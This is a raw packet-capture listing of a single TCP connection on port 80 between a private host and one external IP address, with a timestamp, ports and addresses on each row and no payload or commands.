Dec 4, 2024 15:12:18.028278112 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.028979063 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.029032946 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.029073954 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.029814005 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.030025005 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.030064106 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.030666113 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.030782938 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.030838966 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.031421900 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.031536102 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.031574011 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.032270908 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.032453060 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.032491922 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.033037901 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.033092022 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.033164978 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.033204079 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.033792019 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.033920050 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.033953905 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.034657001 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.034744024 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.034784079 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.035347939 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.035393000 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.035427094 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.036171913 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.036341906 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.036385059 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.037026882 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.037184000 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.037220955 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.037931919 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.037987947 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.038019896 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.038744926 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.038953066 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.038985968 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.039865017 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.039985895 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.040021896 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.040883064 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.041044950 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.041079998 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.041177034 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.041189909 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.041224957 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.041991949 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.042165041 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.042207003 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.042880058 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.042953014 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.042987108 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.043602943 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.043711901 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.043751001 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.044363022 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.045377016 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.193717957 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.193773031 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.193898916 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.194071054 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.194211960 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.194262028 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.194911957 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.195137978 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.195183039 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.195694923 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.195833921 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.195878029 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.196547031 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.196762085 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.196810007 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.197371006 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.197475910 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.197520971 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.198185921 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.198388100 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.198430061 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.199006081 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.199111938 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.199157000 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.199862003 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.199932098 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.199974060 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.200644970 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.200794935 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.200836897 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.201464891 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.201598883 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.201638937 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.202270985 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.202482939 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.202529907 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.203177929 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.203289032 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.203337908 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.203916073 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.203999996 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.204036951 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.204731941 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.204945087 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.204991102 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.205614090 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.205723047 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.205760956 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.206415892 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.206509113 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.206556082 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.207222939 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.207356930 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.207393885 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.208020926 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.208123922 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.208169937 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.208837986 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.208983898 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.209032059 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.209687948 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.209798098 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.209845066 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.210500956 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.210594893 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.210638046 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.211352110 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.211514950 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.211555958 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.212131023 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.212234974 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.212282896 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.213012934 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.213144064 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.213196039 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.213742018 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.213854074 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.213895082 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.214601994 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.214669943 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.214720011 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.215411901 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.215473890 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.215523005 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.216244936 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.216325045 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.216372013 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.217056990 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.217206955 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.217253923 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.217853069 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.217967987 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.218014002 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.218693972 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.218797922 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.218843937 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.219491959 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.219621897 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.219669104 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.220321894 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.220453024 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.220515966 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.221138954 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.221441984 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.221488953 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.221983910 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.222071886 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.222109079 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.222779036 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.222908974 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.222965002 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.223601103 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.223659992 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.223705053 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.224430084 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.224550962 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.224592924 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.225253105 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.225357056 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.225411892 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.225884914 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.226078033 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.226116896 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.226691008 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.226772070 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.226816893 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.227354050 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.227490902 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.227535009 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.228214979 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.228317976 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.228353977 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.229114056 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.229206085 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.229249001 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.229818106 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.229906082 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.229950905 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.230125904 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.230607033 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.230732918 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.230773926 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.231431961 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.231514931 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.231555939 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.232235909 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.232342005 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.232384920 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.233109951 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.233164072 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.233201981 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.233870029 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.233958006 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.234002113 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.234729052 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.234852076 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.234890938 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.235518932 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.235579014 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.235620975 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.236351013 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.253006935 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.386140108 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.386254072 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.386338949 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.386655092 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.386811972 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.386858940 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.387403011 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.387515068 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.387562037 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.388335943 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.388472080 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.388514996 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.389467001 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.389523983 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.389565945 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.390266895 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.390340090 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.390387058 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.390958071 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.391098976 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.391144037 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.391733885 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.391840935 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.391882896 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.392644882 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.392739058 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.392782927 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.393441916 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.393553019 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.393604040 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.394006968 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.394129038 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.394167900 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.394773006 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.394850016 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.394900084 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.395350933 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.395499945 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.395548105 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.396081924 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.396166086 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.396239042 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.396783113 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.396857977 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.396902084 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.397612095 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.397651911 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.397694111 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.398341894 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.398361921 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.398403883 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.399147034 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.399364948 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.399409056 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.399934053 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.400116920 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.400166988 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.400789976 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.400867939 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.400918007 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.401618004 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.401753902 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.401798010 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.402425051 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.402502060 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.402550936 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.403326988 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.403465033 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.403515100 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.404432058 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.404546976 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.404589891 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.405188084 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.405267000 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.405309916 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.405792952 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.405869007 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.405914068 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.406599998 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.406759977 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.406800985 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.407383919 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.407449961 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.407493114 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.408221960 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.408272028 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.408305883 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.408998013 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.409115076 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.409156084 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.409800053 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.409883976 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.409924030 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.410654068 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.410722971 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.410763979 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.411501884 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.411674023 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.411710978 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.412451029 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.412587881 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.412628889 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.413177013 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.413235903 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.413273096 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.414216042 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.414247990 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.414289951 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.414901972 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.415132999 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.415179968 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.415621996 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.415684938 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.415725946 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.416400909 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.416569948 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.416610956 CET	49717	80	192.168.2.11	45.200.148.86
